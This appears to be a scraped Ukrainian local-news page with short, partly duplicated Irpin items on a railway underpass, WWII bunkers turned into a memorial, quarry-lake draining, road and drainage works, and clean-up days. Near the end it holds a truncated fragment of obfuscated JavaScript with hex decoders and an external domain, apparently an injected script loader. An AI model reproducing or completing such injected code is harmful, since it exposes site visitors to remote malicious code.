В Ірпіні

Сьогодні була проведена виїздна нарада за участю першого заступника голови Ірпінської міської ради Дмитра Христюка та представників Укрзалізниці. Нарада стосувалась важливих для Ірпеня питань, а саме капітального ремонту підземного пішохідного переходу залізничного вокзалу, капітального ремонту вул. Підгірної, яка з’єднує дві частини нашого міста, та благоустрою територій біля залізничних колій.

За словами Дмитра Христюка дуже важливо, щоб питання погодження цих проектів для нашого міста зі сторони Укрзалізниці не затягувалися. “Все зробимо, щоб побороти цю бюрократичну систему, яка існує в Укрзалізниці! І вже в цьому році ми зробимо капітальний ремонт підземного пішохідного переходу залізничного вокзалу та капітальний ремонт вул. Підгірної”, – підкреслив перший заступник мера. Він також запевнив, що зі сторони мерії затримок не буде.

Як ми повідомляли раніше, під час звіту міського голови Ірпеня Володимира Карплюка це питання було визнано одним із ключових. В цьому році мерія планує робити капітальний ремонт переходу, а потім благоустрій прилеглої території.

Джерело – Правда Ірпеня

Сьогодні була проведена виїздна нарада за участю першого заступника голови Ірпінської міської ради Дмитра Христюка та представників Укрзалізниці. Нарада стосувалась важливих для Ірпеня питань, а саме капітального ремонту підземного пішохідного переходу залізничного вокзалу, капітального ремонту вул. Підгірної, яка з’єднує дві частини нашого міста, та благоустрою територій біля залізничних колій.

За словами Дмитра Христюка дуже важливо, щоб питання погодження цих проектів для нашого міста зі сторони Укрзалізниці не затягувалися. “Все зробимо, щоб побороти цю бюрократичну систему, яка існує в Укрзалізниці! І вже в цьому році ми зробимо капітальний ремонт підземного пішохідного переходу залізничного вокзалу та капітальний ремонт вул. Підгірної”, – підкреслив перший заступник мера. Він також запевнив, що зі сторони мерії затримок не буде.

Як ми повідомляли раніше, під час звіту міського голови Ірпеня Володимира Карплюка це питання було визнано одним із ключових. В цьому році мерія планує робити капітальний ремонт переходу, а потім благоустрій прилеглої території.

Джерело – Правда Ірпеня

Влітку 1941 року на території Приірпіння тривали оборонні бої. То була одна з найтрагічніших сторінок історії Другої світової війни. “На основі ДОТів Київського укріпрайону в Ірпені ми створюємо меморіальний комплекс”, – розповів у своєму блозі на “Обозревателе” голова Ірпінської міської ради Володимир Карплюк.
ДОТи (довготривалі вогневі точки) залишилися в Ірпені від Київського укріпленого району. Це був унікальний комплекс оборонних споруд протяжністю 85 км. Він мав величезне значення під час оборони Києва у липні-серпні 1941 року. Будівництво укріпрайону тривало понад десять років, але у вересні під час відходу наших військ на лівий берег Дніпра більшість ДОТів були підірвані. На сьогоднішній день їх лишилося небагато.

Мер міста зазначив, що три з них розташовані у мікрорайоні Романівка в Ірпені, вони мають статус пам’яток історії місцевого значення. В різних джерелах їх нумерація не завжди збігається, але здебільшого мова йде про ДОТи з номерами 428, 429, 430.
За словами В. Карплюка, найкраще зберігся ДОТ № 428, який входив до складу першої лінії оборони укріпрайону. Його побудували у 1930 році. Він має два поверхи. Внизу – колишнє житлове приміщення. Там зберігали боєприпаси та їжу. Організували санвузол та опалення. На верхньому поверсі були відсіки для кулеметів.
На відстані ста метрів від ДОТу № 428 розташований ДОТ № 429. Він працював як спостережний пункт. З нього бойові дії не велися: звідси здебільшого керували і віддавали накази іншим дотам, куди треба стріляти, тобто скеровували вогонь. За словами свідків, для будівництва цього ДОТу були спеціально привезені башти з пітерських військових кораблів.
ДОТ № 430 найбільше зруйнований. На ньому тепер височіє водонапірна башта.

Про ці ДОТи знають практично усі ірпінчани. Але поступово їх засипали спочатку землею, щоб діти не травмувалися. А потім – і сміттям. Все, що було всередині – розікрали. За словами мера, завдячуючи ірпінській Спілці ветеранів Афганістану кілька років тому вдалося відновити ДОТи № 428 і № 429. Афганці разом з пошуковим клубом “Цитадель” зробили ремонт, а люди позносили назад експонати, які роками зберігали у своїх дворах і домівках. Допомагали і місцеві депутати. Тепер біля ДОТів проходять патріотичні заходи для молоді і зустрічі ветеранів війни.
“Ми вирішили цього року відкрити у мікрорайоні Романівка меморіальний комплекс. Вже є спонсори, які готові профінансувати роботи. Збираємо проектні пропозиції. Реконструкцію ДОТів і впорядкування території плануємо завершити влітку. А у вересні почнемо привозити сюди шкільні екскурсії. Наші діти мають знати і пам’ятали історію рідного краю”, – поділився планами мер Ірпеня.
За деякими оцінками істориків, під час оборони Києва загинуло близько 750 тисяч людей. Багато експертів переконані, що ця трагедія стала результатом помилкових дій тодішньої влади і військових керівників.
“Сьогодні наша держава змушена знову обороняти свої кордони. Тепер агресор прийшов зі сходу. Тому ми повинні назавжди запам’ятати ціну свободи і будувати сильну країну на усіх фронтах: економічному, культурному, соціальному”, – підкреслив мер В. Карплюк.

Джерело – Правда Ірпеня

Влітку 1941 року на території Приірпіння тривали оборонні бої. То була одна з найтрагічніших сторінок історії Другої світової війни. “На основі ДОТів Київського укріпрайону в Ірпені ми створюємо меморіальний комплекс”, – розповів у своєму блозі на “Обозревателе” голова Ірпінської міської ради Володимир Карплюк.
ДОТи (довготривалі вогневі точки) залишилися в Ірпені від Київського укріпленого району. Це був унікальний комплекс оборонних споруд протяжністю 85 км. Він мав величезне значення під час оборони Києва у липні-серпні 1941 року. Будівництво укріпрайону тривало понад десять років, але у вересні під час відходу наших військ на лівий берег Дніпра більшість ДОТів були підірвані. На сьогоднішній день їх лишилося небагато.

Мер міста зазначив, що три з них розташовані у мікрорайоні Романівка в Ірпені, вони мають статус пам’яток історії місцевого значення. В різних джерелах їх нумерація не завжди збігається, але здебільшого мова йде про ДОТи з номерами 428, 429, 430.
За словами В. Карплюка, найкраще зберігся ДОТ № 428, який входив до складу першої лінії оборони укріпрайону. Його побудували у 1930 році. Він має два поверхи. Внизу – колишнє житлове приміщення. Там зберігали боєприпаси та їжу. Організували санвузол та опалення. На верхньому поверсі були відсіки для кулеметів.
На відстані ста метрів від ДОТу № 428 розташований ДОТ № 429. Він працював як спостережний пункт. З нього бойові дії не велися: звідси здебільшого керували і віддавали накази іншим дотам, куди треба стріляти, тобто скеровували вогонь. За словами свідків, для будівництва цього ДОТу були спеціально привезені башти з пітерських військових кораблів.
ДОТ № 430 найбільше зруйнований. На ньому тепер височіє водонапірна башта.

Про ці ДОТи знають практично усі ірпінчани. Але поступово їх засипали спочатку землею, щоб діти не травмувалися. А потім – і сміттям. Все, що було всередині – розікрали. За словами мера, завдячуючи ірпінській Спілці ветеранів Афганістану кілька років тому вдалося відновити ДОТи № 428 і № 429. Афганці разом з пошуковим клубом “Цитадель” зробили ремонт, а люди позносили назад експонати, які роками зберігали у своїх дворах і домівках. Допомагали і місцеві депутати. Тепер біля ДОТів проходять патріотичні заходи для молоді і зустрічі ветеранів війни.
“Ми вирішили цього року відкрити у мікрорайоні Романівка меморіальний комплекс. Вже є спонсори, які готові профінансувати роботи. Збираємо проектні пропозиції. Реконструкцію ДОТів і впорядкування території плануємо завершити влітку. А у вересні почнемо привозити сюди шкільні екскурсії. Наші діти мають знати і пам’ятали історію рідного краю”, – поділився планами мер Ірпеня.
За деякими оцінками істориків, під час оборони Києва загинуло близько 750 тисяч людей. Багато експертів переконані, що ця трагедія стала результатом помилкових дій тодішньої влади і військових керівників.
“Сьогодні наша держава змушена знову обороняти свої кордони. Тепер агресор прийшов зі сходу. Тому ми повинні назавжди запам’ятати ціну свободи і будувати сильну країну на усіх фронтах: економічному, культурному, соціальному”, – підкреслив мер В. Карплюк.

Джерело – Правда Ірпеня

Велике і глибоке озеро на території колишнього кар’єру поміліє на півтора метра. Роботи по скиду води перебувають на завершальній стадії. Приблизно за тиждень воду почнуть скидати.

Як ми повідомляли раніше, між озерами Кар’єр та Земснаряд прокладають систему контрольованого скиду води. Це робиться з метою захисту мікрорайону від підтоплення та відкриття значної частини пляжу в рамках створення пляжної зони і очищення цих озер.

Як відомо, у радянський період на місці озера був великий кар’єр, де добувалася глина, яку використовували з метою виробництва цегли на сусідньому комбінаті. Саме озеро має глибину  близько 40 метрів. Вода в озері є досить чистою, оскільки вона йде з першого водоносного горизонту, що є фактично на рівні свердловин. Однак проблемою є велике засмічення місцевими мешканцями.

Як прокоментував ситуацію з озерами депутат Ірпінської міської ради Максим Плешко: “Процес оновлення колишніх виробничих площ і територій називають в Європі ревіталізацією, тобто надання оживлення територіям, які були у минулому під виробництвом, нового життя. Наприклад, коли у великих цехах, підприємствах, арт-галереях, комплексах, таких як у Мистецький арсенал в Києві, або ж які тепер є фактично озерами – створюють  великі зони відпочинку. Зокрема, це планує зробити й керівництво міста у районі СМУ”.

Як відомо, Ірпінь шукає інвестора, який би побудував між озерами аквапарк і набережну з пляжем.

Джерело – Правда Ірпеня

Велике і глибоке озеро на території колишнього кар’єру поміліє на півтора метра. Роботи по скиду води перебувають на завершальній стадії. Приблизно за тиждень воду почнуть скидати.

Як ми повідомляли раніше, між озерами Кар’єр та Земснаряд прокладають систему контрольованого скиду води. Це робиться з метою захисту мікрорайону від підтоплення та відкриття значної частини пляжу в рамках створення пляжної зони і очищення цих озер.

Як відомо, у радянський період на місці озера був великий кар’єр, де добувалася глина, яку використовували з метою виробництва цегли на сусідньому комбінаті. Саме озеро має глибину  близько 40 метрів. Вода в озері є досить чистою, оскільки вона йде з першого водоносного горизонту, що є фактично на рівні свердловин. Однак проблемою є велике засмічення місцевими мешканцями.

Як прокоментував ситуацію з озерами депутат Ірпінської міської ради Максим Плешко: “Процес оновлення колишніх виробничих площ і територій називають в Європі ревіталізацією, тобто надання оживлення територіям, які були у минулому під виробництвом, нового життя. Наприклад, коли у великих цехах, підприємствах, арт-галереях, комплексах, таких як у Мистецький арсенал в Києві, або ж які тепер є фактично озерами – створюють  великі зони відпочинку. Зокрема, це планує зробити й керівництво міста у районі СМУ”.

Як відомо, Ірпінь шукає інвестора, який би побудував між озерами аквапарк і набережну з пляжем.

Джерело – Правда Ірпеня

Тільки закінчилися роботи по встановленню ливневої каналізації по вулиці Грибоєдова, як уже перекопали вулицю Слов’янську, яка раніше називалася Комсомольською, що просто “за спиною” мерії поблизу першого ірпінського мурала, так званої книжкової полиці.

Як повідомили нам робітники, роботи з прокладання ливневої каналізації в цьому районі особливо ускладнені великою кількістю підземних комунікацій, зокрема, в місці, яке зображено на фотографії, проходить кілька високовольтних ліній.

Як відомо, в цьому році ремонт доріг та ливнева каналізація – одна з пріоритетних напрямів діяльності мерії міста.

 

Джерело – Правда Ірпеня

До адміністративної реформи в Україні ставляться по-різному. У першу чергу, люди лякаються змін, а місцева влада не завжди докладно пояснює новий устрій, до якого рухається держава. Проте, за словами голови Ірпінської міської ради Володимира Карплюка, реформа повинна відбутися. В планах мерії не просто зламати стару систему, а збудувати сильну і успішну громаду. 

Джерело – Правда Ірпеня

До адміністративної реформи в Україні ставляться по-різному. У першу чергу, люди лякаються змін, а місцева влада не завжди докладно пояснює новий устрій, до якого рухається держава. Проте, за словами голови Ірпінської міської ради Володимира Карплюка, реформа повинна відбутися. В планах мерії не просто зламати стару систему, а збудувати сильну і успішну громаду. 

Джерело – Правда Ірпеня

З метою санітарної очистки міста, в рамках проведення весняного двомісячника з благоустрою, озеленення та поліпшення санітарного стану, в Ірпені проводяться традиційні суботники. Одними з перших провели прибирання території працівники КП «Ірпіньводоканал».

Начальник КП Олександр Маркушин напівжартома – напіввсерйоз наголосив, що його підприємство є обличчям міста, і не лише тому, що знаходиться на в’їзді в Ірпінь. Водоканальці між собою жартують: «Як не сім п’ятниць, так сім суботників на тиждень», утім натхненно трудяться, маючи громадянську відповідальність за чистоту  міста. На їхнє глибоке переконання, де живемо, там має бути чисто, гарно і затишно.

Вже поведено два загальноміських суботники, наразі ще два заплановано на 16 та 23 квітня. Наприкінці квітня 2016 року в Україні відбудеться шоста соціально-екологічна акція «Зробимо Україну чистою! – 2016». «Зробимо Україну чистою!» – це громадська ініціатива, що об’єднує зусилля активістів руху «Let’s Do It, Ukraine! Зробимо Україну чистою!», громадських організацій: ВГО «Зробимо Україну чистою!», JCI, Простір свободи, AIESEC, ФРІ, Біржа соцреклами, Street Workout, заради здійснення нашої спільної мети. Це наймасштабніший міжнародний екологічний соціальний проект, організатором якого виступає – Всеукраїнська громадська організація «Let’s do it, Ukraine» – учасник загальносвітового руху «Let’s Do It, World!». Незабаром цей проект стартує і в Ірпені. Долучайтеся!

 

Джерело – Правда Ірпеня

Автомобільні дороги мають свій термін експлуатації, а відтак після зимового періоду потребують ремонту. Тож робота з устаткуванням доріг в Ірпені кипить вже кілька місяців поспіль.

За словами директора КП «Ірпіньжитлоінвестбуд» Ігоря Дворнікова, загалом заплановано відремонтувати 44 вулиці, наразі 25% від запланованого вже виконано. На одну частину доріг чекає капітальний ремонт, на іншу – ямковий, перевага якого полягає у тому, що він дозволяє оперативно і швидко поновити безпеку й комфорт руху транспорту. Утім, ямковий ремонт – явище тимчасове.

Більше уваги приділяється центральним вулицям, особливо тим, якими рухається громадський транспорт. Хочеться вірити, що в недалекому майбутньому ірпінські дороги наблизяться до європейських стандартів.

Читайте також: “Дорожні реформи Ірпеня 2016“

Джерело – Правда Ірпеня

«ОБРІЙ» № 101 від 4 квітня 2016 р.

Аналітика, публіцистика, культура на сторінках радіожурналу ОБРІЙ. Сьогодні у випуску:

• 5000 дітей відпочивали в Іспанії, відновлювали своє здоров’я дякуючи іспанським друзям. Круглий стіл – 30 років чорнобильської трагедії.
• «Моя країна, моє місто і я»  – конкурс юних журналістів Приірпіння. Результати та перспективи.
• «Чому ви не берете участь у громадських заходах?». 51 відсоток респондентів сказали, що не знають про заходи заздалегідь.
• Джо?рдж О?рвел. «Скотний двір». Читає студент УДФС України Олександр Борейко.
  

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "zpi.com.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Джерело – Правда Ірпеня